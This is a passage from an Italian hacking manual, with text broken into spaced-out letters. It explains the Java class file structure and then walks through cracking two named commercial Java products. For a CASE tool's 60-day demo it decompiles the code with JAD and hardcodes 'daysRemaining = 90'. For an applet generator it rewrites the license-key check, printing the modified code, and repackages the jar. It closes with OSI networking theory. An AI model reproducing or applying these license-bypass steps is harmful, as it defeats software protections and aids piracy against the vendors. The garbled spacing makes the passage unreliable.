u2 attributes_count;
attribute_info attributes[attributes_count];
}

I l f l ag d accesso speci f i ca gl i at t r i but i del l a var i abi l e ( e una mascher a) e
pr eci sament e:

Fl ag Name Val ue Meani ng and Used By
ACC_PUBLI C 0x0001 I s publ i c ; may be
accessed f r om
out si de i t s
package. Any f i el d
ACC_PRI VATE 0x0002 I s pr i vat e ; usabl e
onl y wi t hi n t he
def i ni ng cl ass.
Cl ass f i el d
ACC_PROTECTED 0x0004 I s pr ot ect ed ; may
be accessed wi t hi n
subcl asses. Cl ass
f i el d
Pagina 435 di 991
ACC_STATI C 0x0008 I s st at i c . Any
f i el d
ACC_FI NAL 0x0010 I s f i nal ; no
f ur t her over r i di ng
or assi gnment af t er
i ni t i al i zat i on. Any
f i el d
ACC_VOLATI LE 0x0040 I s vol at i l e; cannot
be cached. Cl ass
f i el d
ACC_TRANSI ENT 0x0080 I s t r ansi ent ; not
wr i t t en or r ead by
a per si st ent obj ect
manager . Cl ass f i el d

Descr i pt or _i ndex r appr esent a l i ngr esso nel l a CPT r el at i vo al t i po.
Per l i dent i f i cazi one r i f er i t evi al l a t abel l a pr ecedent e.
Ri cor dat evi che ad esempi o una var i abi l e l ong sar a speci f i cat a con Z.
At t r i but es_count e i l numer o di at t r i but i associ at i al l a var i abi l e ed espr essi
dal l a st r uut ur a :

attribute_info {
u2 attribute_name_index;
u4 attribute_length;
u1 info[attribute_length];
}

Si mi l e e anche i l di scor so dei met odi .
Met hods_count e i l numer o di met odi pr esent i nel l a cl asse.
La st r ut t ur a da cui si r i caver anno l e i nf or mazi oni e l a seguent e.

method_info {
u2 access_flags;
u2 name_index;
u2 descriptor_index;
u2 attributes_count;
attribute_info attributes[attributes_count];
}

access_f l ags r appr esent a anche i quest o caso gl i at t r i but i .

Fl ag Name Val ue Meani ng Used By
ACC_PUBLI C 0x0001 I s publ i c ; may be
accessed f r om
out si de i t s
package. Any met hod
ACC_PRI VATE 0x0002 I s pr i vat e ; usabl e
onl y wi t hi n t he
def i ni ng cl ass.
Cl ass/ i nst ance
met hod
ACC_PROTECTED 0x0004 I s pr ot ect ed ; may
be accessed wi t hi n
subcl asses. Cl ass/ i n
st ance met hod
ACC_STATI C 0x0008 I s st at i c .
Cl ass/ i nst ance
met hod
ACC_FI NAL 0x0010 I s f i nal ; no
over r i di ng i s
al l owed.
Cl ass/ i nst ance
Pagina 436 di 991
met hod
ACC_SYNCHRONI ZED 0x0020 I s synchr oni zed ;
wr ap use i n moni t or
l ock.
Cl ass/ i nst ance
met hod
ACC_NATI VE 0x0100 I s nat i ve ;
i mpl ement ed i n a
l anguage ot her t han
J ava. Cl ass/ i nst ance
met hod
ACC_ABSTRACT 0x0400 I s abst r act ; no
i mpl ement at i on i s
pr ovi ded. Any
met hod


I l nome vi ene r eper i t o dal l a CPT medi ant e name_i ndex ment r e gl i ar goment i e l e
t i pol ogi e di r i t or no medi ant e descr i pt or _i ndex.
Un met odo del t i po :

Object nome_metodo(String, int)

Vi ene r appr esent at o con

(Ljava/lang/String;I)Ljava/lang/Object;

La f unzi one anal i zeMet hod( ) passandogl i l a st r i nga come quel l a appena vi st a e i l
nome del met odo r est i t ui sce l a sua not azi one nor mal e.
Se vol est e andar e ad i mpel agar vi nel l a t r aduzi one del codi ce al l or a dovr et e
andar e a l egger e l e st r ut t ur e at t r i but e_count e at t r i but e_i nf o che f i ni scono l a
st r ut t ur a.
Per un appr of ondi ment o consi gl i o gl i scr i t t i di Ti mLi ndhol m, Fr ank Yel l i n
del l a J avaSof t .

SEMPLICE SPROTEZIONE CON JAD

I n ogni caso quando si cer ca di spr ot egger e un pr ogr amma J AVA l uni co modo
quel l o di segui r ne i l f l usso.
Un not i ssi mo CASE di st r i bui t o i n ver si one DEMO con l a l i mi t azi one di 60 gi or ni
di f unzi onament o.
I f i l es del pr ogr amma sono t ut t i cont enut i i n due f i l es . J AR.
Per pr i ma cosa bi sogna r i por t ar e f uor i da quest i ar chi vi i f i l es . CLASS medi ant e
l e ut i l i t y f or ni t e con i l J DJ .
I due f i l es sono :

JDPMAin.jar
JDPSingle.jar

Medi ant e i l comando :

jar x JDPMain.jar *.class

r i por t i amo i f i l es al l a nor mal i t .
Per capi r e dove vi ene f at t o i l cont r ol l o
sul l a dat a bi sogna par t i r e dal l i ni zi o.
Per saper e i n qual e modul o c l ent r y
poi nt anal i zzi amo l e pr opr i et pr esent i
dent r o al l i cona wi ndows da cui si esegue
i l pr ogr amma.


Pagina 437 di 991
La st r i nga l a seguent e :

C:\Windows\wjview.exe JDesignerPro http://Flavio/JDesignerPro/ 01001

Esi st e i n ci r col azi one un pr ogr amma chi amat o J AD. EXE i l qual e decompi l a i f i l e
. CLASS r est i t uendo i l f i l e . J AVA


I ni zi amo a cr ear e i l sor gent e del modul o da cui par t e i l pr ogr amma ovver o quel l o
r i por t at o nel l a l i nea di comando.
I l f i l e J desi gner Pr o. cl ass.

Jad JdesignerPro.class JdesignerPro.java

Una vol t a r i cavat o i l sor gent e par t i amo dal l i nzi o per veder e i n che punt o
i nser i t o i l cont r ol l o.
Possi amo comunque cer car e al cune st r i nghe come ad esempi o :

l i cense, day, expi r e ecc.

I n quest o caso cer cando day t r oi ver emo subi t o i l cont r ol l o.

k1 = jaggSQL.execSQL(s6, vector);
}
}
if(k1 < 0)
daysRemaining = 1;
String s7 = "\\";
if(JDPCompiler.indexOf("/") >= 0)
s7 = "/";
if(daysRemaining == 0 && JDPJagg.useJaggServer && JDPJaggDir == null)
getUnixDaysRemaining();
if(daysRemaining == 0 && JDPJagg.useJaggServer && k1 > 0 && JDPJaggDir !=
null)
{

Sar suf f i cent e i nser i r e l a l i nea :

k1 = jaggSQL.execSQL(s6, vector);
}
}
if(k1 < 0)
daysRemaining = 1;

Pagina 438 di 991
daysRemaining = 90;

String s7 = "\\";

Pot r emmo compl i car ci l a vi t a andando a cer car e l a r out i ne ver a e pr opr i a che
der i va dal l esecuzi one del l i nt er r ogazi one del l a pr i ma l i nea, ma non ne val e l a
pena.
Or a r i compi l amo i l sor gent e con :

javac JDesignerPro.java

ed i nser i amo i l f i l e . CLASS r i cavat o nel f i l e da cui l o avevamo est r at t o con :

jar u JDesignerPro.jar JDesignerPro.class

Mol t i pr ogr ammi cer cano di compl i car e l e i dee dando nomi st r ani ai met odi per
cui i pr ogr ammi sono l unghe seuquenze di nomi del t i po :

ooo();
iie();
aii();

I n quest o caso medi ant e l opzi one Repl ace del l edi t or usat o per vi sual i zzar e i l
sor gent e cambi er emo i nomi cer cando di assegnar ne al t r i meno conf usi onar i .
Una vol t a i ndi vi duat i i met odi pot r emmo cer car e di capi r ne l o scopo e qui ndi
pot r emmo successi vament e assegnar gl i dei nomi conf or mi al l or o scopo.
I n ogni caso r i cor dat evi sempr e di t ener e ost t o anal i si i l si st ema dur ant e
l i nst al l azi one dei pr ogr ammi per veder e che val or i quest i set t ano dent r o al
r egi st r o di wi ndows.
Nel capi t ol o i n cui si par l ava dei var i sof t war e avevo r i por t at o un
di sassembl at or e J ava scr i t t o i n ADA anche se di f at t o J AD non mi ha mai l asci at o
a pi edi .
Con j ava l e cose sono abbast anza sempl i ci i n quant o l e conoscenze necessar i e
sono quel l e l egat e ai var i sof t war e per l a cr eazi one del l e l i br er i e . J AR e . CAB
dal l e qual i est r apol ar e i f i l e . cl ass da modi f i car e e nel l e qual i i nser i r e i
. cl ass modi f i cat i .
Un esempi o pr at i co per most r ar e l a sempl i ci t del l e spr ot ezi oni di pr ogr ammi
J AVA.
I l pr ogr amma i n quest i one un f amoso gener at or e di Appl et s ( ce ne sono
cent i nai a per cui non vi ol o nessuna l egge a def i ni r e l a t i pol ogi a del sof t war e
i n esame) .
I l pr ogr amma i ncl uso dent r o ad un cer t o numer o di f i l es . J AR.
Cr eo una di r ect or y i n cui i nser i r e i sof t war e . cl ass est r at t i con l ut i l i t y di
compat t azi one di J DK.
Tr a i f i l es . cl ass
est r at t i r i sual t ano
subi t o embl emat i ci :

pr eskey. cl ass
ocekey. cl ass
navkey. cl ass
compkey. cl ass

Quel key pr esent e i n
t ut t i i nomi st at o
quel l o che ha at t i r at o
l a mi a at t enzi one.
Li copi o i n una di r ect or y a par t e e per evi t ar e di dar e 4 vol t e i l comando J AD
i mbast i sco da DOS l a seguent e r i ga ( un sempl i ce f or da DOS) :

c:\> for %a in (*.class) do JAD %a

Pagina 439 di 991
I l r i sul t at o sono quat t r o f i l es . j ad ( J ava Di sassembl ed) che vol endo possi amo
r i nomi nar e . j ava.
I l cont enut o di un f i l e, compkey. j ava i l seguent e :

// Decompiled by Jad v1.5.5.3. Copyright 1997-98 Pavel Kouznetsov.
// Jad home page: http://web.unicom.com.cy/~kpd/jad.html
// Decompiler options: packimports(3)
// Source File Name: C:\Windows\Desktop\composer\compkey.java

import java.net.URL;

class compkey
{
public static String getKey(String note, URL u)
{
String regURL[] = new String[5];
regURL[0] = "opencube";
regURL[1] = "jesse";
regURL[2] = "localhost";
regURL[3] = "appletcomposer";
regURL[4] = "dev";
int i;
for(i = 1; Character.isDigit(note.charAt(note.length() - i)); i++);
if(u.getProtocol().equalsIgnoreCase("file"))
return note.substring(0, (note.length() - i) + 1).trim();
for(int j = 0; j < regURL.length; j++)
if(u.getHost().toLowerCase().indexOf(regURL[j], 0) != -1)
return note.substring(0, (note.length() - i) + 1).trim();

return "-1";
}

compkey()
{
}
}

I l f i l e modi f i cat o di vent a come i l seguent e.

// Decompiled by Jad v1.5.5.3. Copyright 1997-98 Pavel Kouznetsov.
// Jad home page: http://web.unicom.com.cy/~kpd/jad.html
// Decompiler options: packimports(3)
// Source File Name: compkey.java

import java.net.URL;

class compkey
{
public static String getKey(String s, URL url)
{
String as[] = new String[2];
as[0] = "saintly";
as[1] = "tex99";
int i;
for(i = 1; Character.isDigit(s.charAt(s.length() - i)); i++);
if(!url.getProtocol().equalsIgnoreCase("DIEGATESDIE"))
return s.substring(0, (s.length() - i) + 1).trim();
for(int j = 0; j < as.length; j++)
if(url.getHost().toLowerCase().indexOf(as[j], 0) != -1)
return s.substring(0, (s.length() - i) + 1).trim();

return "-1";
}
Pagina 440 di 991

compkey()
{
}
}


Ne ho r i por t at o sol o uno i n quant o gl i al t r i sono si mi l i a quest o ed i n ogni
caso non i mpor t ant e r i pr odur l i i n quest o l uogo.
A quest o punt o suf f i ci ent e anal i zzar e i l codi ce e veder e i n qual e modo vi ene
compost a l a chi ave o si pu sost i t ui r e l e r out i ne che r i t or nano ver o o f al so a
segui t o del f at t o che i l sof t war e si a r egi st r at o o meno, r i compi l ar e i l t ut t o e
r ei nser i r e i f i l e . cl ass dent r o ai f i l es . cab o . j ar or i gi nal i .
Sot t ol i neo ANALI ZZARE I L CODI CE i n quant o qui pi che mai si t r at t a di f ar l o.
I n quest o caso si doveva anche andar e a veder e dove veni va f at t a l a chi amat a i n
quant o gl i ar goment i passat i al met odo get Key( ) sono f ondament al i .
Un t r ucco per saper e dove vi ene f at t a qual che chi amat a i l seguent e.
Esi st e un ut i l i t y che ul t i mament e al cune r i vi st e hanno f or ni t o i n ver si one
compl et a su CD.
Quest a ut i l i t y Fi ndI t ! l a qual e, passandogl i dei per cor si come ar goment i ,
r i esce a cr ear e i ndi ci con l e par ol e t r ovat e nei f i l es.
I n al t r e par ol e pr endet e i f i l es del pr ogr amma e l i met t et e i n una di r ect or y.
A quest o punt o avet e t ut t i i f i l es . cl ass i n un cer t o punt o del di sco.
Medi ant e i l comando DOS che ho r i por t at o pr i ma decompi l at e t ut t i i f i l es . cl ass.

C:\> For %a in (*.class) do jad %a

Or a se vol t e pot et e r i nomi nar e t ut t i i f i l e . j ad i n . j ava

C:\> Ren *.jad *.java

Da sot t o Wi ndows l anci at e Fi ndI t ! e f at egl i cr ear e un i ndi ce con t ut t e l e par ol e
che si t r ovano nei f i l e . j ava si t uat i i n quel l a di r ect or y dove avet e appena
l avor at o.
Avendo t ut t i i sor gent i pot et e ut i l i zzar e qual che ut i l i t y per cr ear e un cr oss
r ef er ence del t ut t o.
Magar i quest a f unzi one i mpl ement at a i n qual che si st ema di svi l uppo J ava.
Comunque, per t or nar e a Fi ndI t ! , a quest o punt o t r acci at e i l pr ogr amma e se ad
un cer t o punt o vi i nt er essa saper e dove c una qual che chi amat a ad un met odo,
get Key( ) ad esempi o, pot et e usar e l a f unzi one di FI ND di Fi ndI t ! i l qual e
cl i ckando sul f i l e most r at o, dove si t r ova i l r i f er i ment o, vi posi zi oner
di r et t ament e i n edi t .
Per sonal ment e uso Fi ndI t ! per t ant i scopi si mi l i come ad esempi o con i l gr osso
ar chi vi o FAQ di Mi cr osof t che vengono f or ni t e come t ant i f i l es . TXT posi zi onat i
i n un al ber o di di r ect or y abbast anza compl esso.
Quando cer co un ar goment o con quest o pr ogr amma l o t r ovo i mmedi at ament e.
Poi di f at t o esi st ono t ant e al t r e ut i l i t y che cr eano un Al t avi st a l ocal e, un
mot or e di r i cer ca, sul vost r o comput er .
Mol t e f unzi oni l egat e al l a ser i al i zzazi one vengono f at t e nei pr ogr ammi j ava
t r ami t e met odi che svol gono f unzi onal i t di r et e.
Guar dat e nel l esempi o pr ecedent e i var i URL, u. get Pr ot ocol ( ) ecc.
Nel pr esent e vol ume ho vol ut o i nser i r e una par t e di pr ogr ammazi one di r et e
t r ami t e J ava anche per ai ut ar e a compr ender e cer t e f unzi oni e non sol o per i l
mot i vo di per met t er e l a cr eazi one di un l i br er i a di met odi per l accesso al l a
r et e.


Pagina 441 di 991
CONTROLLO DELLA RETE


J AVA possi ede del l e cl assi che per met t ono l a pr ogr ammazi one di r et e per cui
penso che si a i l l i nguaggi o pi i doneo per cr ear e sof t war e agganci at i a quest a.
Anche l e l i br er i e del Li nguaggi o C possi edono f unzi oni pot ent i a r i guar do degl i
accessi al pr ot ocol l o TCP.
Per scr i ver e sof t war e che ut i l i zzasser o l a r et e l e sol uzi oni er ano di ver se.
La pr i ma r i guar dava cer t e l i br er i e come ad esempi o Super TCP.
Quest e l i br er i e o Act i veX che si ano f or ni scono f unzi onal i t per acceder e al l a
r et e, possono esser e ut i l i zzat e da qual si asi l i nguaggi o, ma possi edono i l
pr obl ema di esser e a pagament o.
I l Vi sual C possi ede del l e cl assi MFC per l accesso al l a r et e ma anche i n quest o
caso i l Vi sual C++ non publ i c domai n.
J DK i nvece possi bi l e pr el evar l o dal si t o SUN e t ut t e l e cl assi per l a gest i one
del l a r et e sono i nt er ne al l e cl assi f or ni t e.
Avevamo vi st o i ni zi al ment e dei passwor d cr acker ed al t r i sof t war e che usando
bugs di FTP cr eavano accessi a si st emi r emot i .
Bene.
Quest i sof t war e possono esser e anche f aci l ment e scr i t t i i n J ava gr azi e appunt o a
quest e l i br er i e.
L uni ca cosa che bi sogna conoscer e qual che concet t o di pr ogr ammazi one i n r et e.
I n quest o capi t ol o t r at t er si a l e cl assi per l uso del l a r et e che l a t eor i a
l egat a a quest a.
Vedr et e che t r a l e al t r e cose t r over et e di ver t ent e e r i l assant e l uso di J ava.
J ava f aci l i t er col or o che non conoscono i l C e quando avr anno i mpar at o J ava si
r ender anno cont o che pasar e al C++ sar mol t o pi sempl i ce.
I nol t r e l a scel t a di J ava anche l egat a al f at t o di non f ar e una scel t a sul l a
st or i a .
Pr i ma di i ni zi ar e a veder e l ar goment o vogl i o sot t ol i near e che l a pr i ma par t e
sar r el at i va al l a t eor i a del l a r et e che i ndi pendent e dal l i nguaggi o.
I l gr osso successo di J ava di pende si cur ament e dal f at t o che l a pubbl i ci t
f at t agl i l o el egge a l i nguaggi o per eccel l enza per l o svi l uppo di sof t war e per
I nt er net .
Lo st esso di scor so e avvenut o con i l pr ot ocol l o TCP/ I P l a cui l a st r abi l i ant e
popol ar i t e der i vat a anche i n quest o caso al suo l egame con I nt er net .
Spesso i l t r oppo par l ar e di cer t e cose f a nascer e dei mi t i che al cune vol t e
por t ano ad esager ar e sul l a ver a essenza di una cosa oppur e spi ngono a ut i l i zzar e
del l e par ol e senza di f at t o conoscer ne i l ver o si gni f i cat o.
J ava e TCP/ I P cost i t ui scono due esempi di un caso e del l al t r o.
I l pr i mo e st at o t al ment e pubbl i ci zzat o l egat o a I nt er net che sembr a quasi che
l uni co pr obl ema r el at i vo al l a scr i t t ur a di sof t war e per quest a ul t i ma si a
quel l a di i nst al l ar e i l compi l at or e.
Una vol t a poi i nst al l at o i l t ut t o i ni zi ano l e var i e sant i f i cazi oni quando ci
si accor ge che i l t ut t o non er a poi cosi sempl i ce i n quant o i ni zi ano a sor ger e
un i nf i ni t a di quest o non e possi bi l e f ar l o per ch i l gest or e del l a
si cur ezza non per met t e di , non e per messa l a scr i t t ur a su host per ch,
i l pr ot ocol l o ha pr obl emi se si usano st r eams di , ecc.
I l secondo caso i nvece e cost i t ui t o dal f at t o che t ut t i par l ano di TCP/ I P ma
pochi conoscono bene come quest o f unzi ona.
Le f i l osof i e or i ent al i l egat e al l o Zen ( e al l ar t e di pr ogr ammar e) par l ano di
medi ani t a ovver o del l a r i cer ca del punt o di equi l i br i o.
Al cuni concet t i a vol t e sono ver ament e compl essi e l a l or o conoscenza t ot al e
por t er ebbe ad i mpi egar e eccessi ve f or ze i n r el azi one agl i obbi et t i vi che ci si
pr ef i ggono.
Pr endi amo ad esempi o i l pr ot ocol l o TCP/ I P ( Tr ansmi ssi on Cont r ol
Pr ot ocol / I nt er net Pr ot ocol ) .
La conoscenza gl obal e pr et ender ebbe uno sf or zo not evol e i n quant o l
ar goment azi one e ver ament e compl essa sopr at t ut t o se si scende a l i vel l o di
pr oget t azi one.
I n ogni caso una buona conoscenza di al cuni pr i nci pi di base per met t e di
sopper i r e ad al cuni pr obl emi che sor gono ut i l i zzando J ava i n ambi ent e I nt er net .
Pagina 442 di 991
I nf at t i al cune l i mi t azi oni r el at i ve agl i appl et s sono ver ament e pesant i qual i ad
esempi o quel l e l egat e al l i mpossi bi l i t a di l egger e e scr i ver e f i l es ecc.
Per r i nf r escar e l a memor i a r i assumi amo qui l e pr i nci pal i l i mi t azi oni di un
appl et .

1. Java puo usare solo il proprio codice e non puo supportarsi su librerie
esterne o utilizzare codice nativo di altra natura quali ad esempio il
linguaggio C.
2. Un applet non puo leggere o scrivere files. Nel caso della lettura alcuni
browser la permettono utilizzando la specifica URL al posto del nome file
(vedi a seguito la parte dedicata alle URL). La scrittura di file invece puo
avvenire mediante tecniche di programmazione client/server tramite l
utilizzo dei socket (vedi anche in questo caso il capitolo piu avanti
dedicato ai socket).
3. Una applet non pu creare connessioni eccetto che con l host da cui
proviene.
4. Non puo eseguire programmi sull host.
5. Non gli e permesso richiedere informazioni su alcune proprieta del sistema.
6. Una dialog creata da un applet riporta la scritta che avvisa che la finestra
e di proprieta dell applet stessa al fine di evitare la simulazione, ad
esempio, di maschere in cui vengono richieste password e codici d accesso ad
insaputa dell utente.

La conoscenza del f unzi onament o del pr ot ocol l o e del l e cl assi di r et e per met t e
di aggi r ar e gl i ost acol i che si cr eano a segui t o del l e pr ecedent i l i mi t azi oni .
I nnanzi t ut t o : che cosa sono i pr ot ocol l i ?
I pr ot ocol l i di comuni cazi one nascono dal l esi genza di t r asmet t er e dat i su
del l e l i nee di comuni cazi one di di ver sa nat ur a, cont r ol l andone l a cor r et t ezza,
i n di ver si ambi ent i , con un numer o i ndef i ni t o di par t eci pant i , con ambi ent i
oper at i vi di f f er ent i ecc.
I ni zi al ment e l a pr obl emat i ca pr i nci pal e nasceva dal l esi genza di cont r ol l ar e l a
cor r et t ezza dei dat i t r asmessi t r a due si st emi col l egat i punt o a punt o.
I n pr at i ca sempl i f i cando si pot r ebbe di r e :

Io ti trasmetto un numero X di dati in sequenza e mano mano che li invio eseguo
la loro sommatoria. Finito di trasmetterteli ti invio la somma che ho calcolato.
Tu mentre ricevi i dati da me inviati esegui la stessa somma. Se il valore che
ti ho comunicato io alla fine e uguale a quello che hai calcolato mentre
ricevevi dimmi di proseguire nell invio dei pacchetti se non avvertimi dell
errore e fammi ripetere l invio degli stessi dati.

Quest o er a val i do nel caso di connessi oni f i si che punt o a punt o.
Quando l e connessi oni i ni zi ar ono a r i guar dar e r et i con pi u par t eci pant i i l
pr obl ema si est ese i n quant o i l pacchet t o che pr i ma cont eneva sol t ant o i dat i e
l a somma per l a ver i f i ca del l a cor r et t ezza dovet t e esser e est esa i ncl udendo
al l i nt er no di essa anche i dat i r el at i vi al l i ndi r i zzo del mi t t ent e q uel l o
del dest i nat ar i oi .
Quest o det t o i n t ono sempl i ci st i co per f ar compr ender e i l pr i nci pi o di base dei
pr ot ocol l i .
Esi st ono un i nf i ni t a di pr ot ocol l i dest i nat i a pr obl emat i che e ad ambi ent i
di f f er ent i .
Mol t i pr ot ocol l i sono par t i col ar i per ambi ent i LAN ( Local Ar ea Net wor k r et i
l ocal i ) , al t r i per ambi ent i WAN ( Wi de Ar ea Net wor k r et i geogr af i che) ment r e
al t r i ancor a, come i l TCP/ I P, sono i n gr ado di of f r i r e ot t i me pr est azi oni i n
ambedue gl i ambi ent i .
La f or za di TCP/ I P e dovut a pr opr i o al l equi l i br i o che quest o ha i n ambe due
gl i ambi ent i .
I nol t r e TCP/ I P f unzi ona i n modo egr egi o i n ambi ent e mul t i pi at t af or ma e quest o
cost i t ui sce un al t r o dei suoi punt i di f or za.
La sua or i gi ne, come mol t i ssi me al t r e t ecnol ogi e l egat e al campo del sof t war e e
del l har dwar e, e l egat a al Mi ni st er o del l a Di f esa USA come pr ot ocol l o per l
i nt er connessi one di gr andi mai nf r ame.
Pagina 443 di 991
I ni zi al ment e l a comuni cazi one t r a i var i si st emi del l a r i cer ca f i nanzi at a dal
Pent agono er a i n f unzi one di una r et e t el emat i ca bat t ezzat a ARPANET l a qual e
sf r ut t ava i l pr ot ocol l o NCP ( Net wor k Cont r ol Pr ot ocol ) per l i nt er connessi one
dei si st emi .
I l passaggi o del l uso del pr ot ocol l o da NCP a TCP su ARPANET sanc l at t o di
nasci t a di I nt er net ( nei pr i mi mesi del 1983) .
I ni zi al ment e TCP/ I P er a sol o un i nsi eme di pr ot ocol l i che per met t evano l a
connessi one di comput er di f f er ent i e di t r asmet t er e dat i t r a di l or o.
I pr i nci pi del pr ot ocol l o TCP/ I P er ano st at i comunque post i ver so l a met a
degl i anno 70 da Vi nt on Cer f e Rober t Kahn.
Una vol t a sent i i di r e : gl i st andar ds sono bel l i per ch ce ne sono t ant i
dovr ebbe per o esser ci uno st andar d per gl i st andar ds.
Anche nel caso del l e r et i si e t ent at o di def i ni r e degl i st andar ds e per f ar e
quest o sono nat i degl i apposi t i ent i compet ent i .
L aut or i t i ndi scussa nel campo del l e r et i e l I SO l a qual e ha emanat o un
model l o di r i f er i ment o per r egol ar e l e comuni cazi oni t r a comput er medi ant e
pr ot ocol l i .
Quest o model l o pr ende i l nome di OSI ( Open Syst ems I nt er connect i on) .
I l model l o OSI e st at o pr oget t at o per ai ut ar e i pr ogr ammat or i a cr ear e
appl i cazi oni compat i bi l i con di ver se l i nee di pr odot t i mul t i vendor e per f ar e
quest o pr evede set t e st r at i ognuno dei qual i si i nt er essa di una det er mi nat a
t i pol ogi a di pr obl emat i che.
I set t e st r at i OSI sono i seguent i :

strato applicazione
strato di presentazione
strato di sessione
strato di trasporto
strato di rete
strato di collegamento dati
strato fisico

Esi st e un al t r o model l o di r i f er i ment o che cost i t ui sce i n un cer t o senso l a
ver si one condensat a del model l o OSI che si chi ama DoD e che cont empl a quat t r o
st r at i anzi che set t e.

Gl i st r at i del model l o DoD sono :

strato processo/applicazione
strato host-to-host
strato internet
strato accesso alla rete

LIVELLO APPLICAZIONE (OSI)

I l l i vel l o di appl i cazi one del model l o OSI e quel l o i n cui r i t r ovi amo mol t i
degl i appl i cat i vi che sf r ut t ano i component i concer nent i l e comuni cazi oni .
Tr a l e var i e appl i cazi oni che sf r ut t ano quest o st r at o t r ovi amo i sof t war e WWW,
l e BBS e i mot or i di r i cer ca I nt er net come Al t avi st a, Yahoo et c.

I l l i vel l o di pr esent azi one OSI ha l o scopo di pr esent ar e i dat i al l i vel l o
appl i cazi one e quest o vi ene f at t o medi ant e al cuni st andar d che r i guar dano i
cont enut i mul t i medi al i come ad esempi o l e i mmagi ni .
J PEG, MPEG, MI DI ecc. sono appunt o al cuni di quest i st andar d.
Una not a l o mer i t a i l si st ema J ava per l a def i ni zi one dei gest or i di cont enut o e
di pr ot ocol l o

LIVELLO DI SESSIONE (OSI)

Nel l o st r at o di sessi one OSI l a comuni cazi one vi ene or gani zzat a i n base a t r e
di ver se modal i t ovver o l a Si mpl ex ( uno t r asmet t e e un al t r o r i ceve) , l a Hal f
Dupl ex ( i nvi o e r i cezi one dat i a t ur no) e l a Ful l Dupl ex ( medi ant e un cont r ol l o
del f l usso dei dat i t ut t i i nvi ano e r i cevono) .
Pagina 444 di 991
Sono i nol t r e gest i t e a quest o st r at o l aper t ur a del l a connessi one, i l
t r asf er i ment o dei dat i e l a chi usur a del l a connessi one. I ser vi zi del l i vel l o di
t r aspor t o hanno i l compi t o di suddi vi der e e di r i assembl ar e l e i nf or mazi oni
t r at t at e a l i vel l o super i or e e di convogl i ar l e i n un uni co f l usso di dat i .

LIVELLO DI TRASPORTO (OSI)

A quest o l i vel l o r i t r ovi amo f unzi onal i t qual i quel l a di i nvi ar e al mi t t ent e un
avvi so di r i cevut a dei pacchet t i ar r i vat i , di r i t r asmet t er e ogni pacchet t o non
r i t enut o val i do, r i cost r ui r e l a gi ust a sequenza dei pacchet t i al l or o ar r i vo,
mant ener e un cor r et t o f l usso di dat i per i mpedi r e congest i oni ecc.
Da come e i nt ui bi l e da quant o appena det t o e di quest o l i vel l o i l si st ema di
cont r ol l o degl i er r or i .
Quest o st r at o assegna ad ogni pacchet t o di dat i un numer o di cont r ol l o che
consent e di esegui r e l a ver i f i ca dei dat i gi unt i a dest i nazi one.
Tr a i pr ot ocol l i non OSI che t r ovi amo a quest o l i vel l o ci sono :

TCP, Novel l SPX, Banyan VI CP, Mi cr osof t Net Bi os/ Net BEUI , UDP

Quest o st r at o of f r e un l i vel l o di cont r ol l o del l o spost ament o del l e
i nf or mazi oni t r a si st emi .

STRATO DI RETE (OSI)

Def i ni sce i pr ot ocol l i di gest i one del per cor so sul l a r et e.
Quest o st r at o pu anal i zzar e l i ndi r i zzo dei pacchet t i per det er mi nar e i l
met odo di i nst r adament o pi cor r et t o.
Se un pacchet t o e dest i nat o ad una st azi one sul l a r et e l ocal e vi ene i nvi at o
di r et t ament e.
Se i nvece i l pacchet t o e i ndi r i zzat o ad un si st ema pr esent e su una r et e post a
su un al t r o segment o i l pacchet t o vi ene i nvi at o ad un di sposi t i vo chi amat o
r out er che si occupa di i mmet t er l o i n r et e.
I r out er , i n br eve, sono di sposi t i vi che col l egano l a r et e l ocal e a quel l a
geogr af i ca
I pr ot ocol l i che ut i l i zzano quest o st r at o sono :

I P ( I nt er net Pr ot ocol ) , X 25, Novel l I PX, Banyan VI P

Ogni segment o che appar t i ene ad una r et e ( per segment o possi amo concepi r l a come
una sot t o r et e) ha al meno un r out er che gl i per met t e di di al ogar e con al t r e
sot t o r et i .

STRATO DI COLLEGAMENTO DATI (OSI)

A quest o l i vel l o vengono def i ni t e l e r egol e per l a t r asmi ssi one e l a r i cezi one
del l e i nf or mazi oni .
I l f i ne di quest o st r at o e quel l o di gar ant i r e che i messaggi vengano
consegnat i al di sposi t i vo gi ust o e di t r adur r e i dat i i n bi t s i n modo t al e da
pot er l i f ar t r asf er i r e dal l i vel l o f i si co.
Possi amo concepi r e quest o st r at o come l a por t a t r a i l mondo har dwar e e sof t war e.
Tr a i pr ot ocol l i pi comuni che ut i l i zzano quest o st r at o r i t r ovi amo HDLC, r et i
geogr af i che ATM, Mi cr osof t NDI S ecc.

STRATO FISICO (OSI)

Le uni che due f unzi oni a quest o l i vel l o sono quel l e di t r asmet t er e e r i cever e
bi t t r ami t e di f f er ent i t i pi di i nf r ast r ut t ur e e di di sposi t i vi di t r asmi ssi one.
Ri assumendo pot r emmo f ar e una panor ami ca su t ut t e l e oper azi oni che vengono
f at t e a ci ascun l i vel l o sul pacchet t o or i gi nal e dei dat i
Pagina 445 di 991

STRATO APPLICAZIONE Aggiunta indirizzo del nodo
STRATO PRESENTAZIONE Aggiunta informazioni codice
STRATO SESSIONE Aggiunta informazioni di comunicazione
STRATO DI TRASPORTO Aggiunta intestazione e checksum
STRATO DI RETE Aggiunta informazioni quantita e sequenza pacchetti
STRATO DI LINK Aggiunta checksum finale
STRATO FISICO Invio dati some sequenza di bit

Ad ogni st r at o sono def i ni t e del l e ser i e di f unzi oni speci f i che con l e qual i l
appl i cat i vo i nt er agi sce nel l i st ant e i n cui ha bi sogno di i nvi ar e del l e
i nf or mazi oni ad un al t r o si st ema del l a r et e.
La richiesta e le informazioni vengono impacchettate e inviate allo strato
successivo il quale aggiunge al pacchetto le informazioni relative alle funzioni
gestite a quel livello.
Vediamo ora i quattro starti del modello DoD

STRATO PROCESSO/APPLICAZIONE (DoD)

Quest o st r at o cor r i sponde ai pr i mi t r e del model l o OSI .
Gr an par t e del l avor o di t r asmi ssi one vi ene svol t o a quest o l i vel l o per cui
vengono coi nvol t i un gr an numer o di pr ot ocol l i .
Tr a i nomi pi u comuni dei pr ot ocol l i r i t r ovi amo
TELNET, FTP, SMTP, NFS, X WI NDOWecc.
Tel net ad esempi o e i n pr at i ca un emul azi one di
t er mi nal e.
Tr ami t e Tel net un cl i ent puo acceder e ad
un' al t r a macchi na su cui e i n esecuzi one un
ser ver Tel net e l avor ar e come se f osse un
t er mi nal e col l egat o di r et t ament e.
FTP ( Fi l e Tr ansf er Pr ot ocol ) e essenzi al ment e un
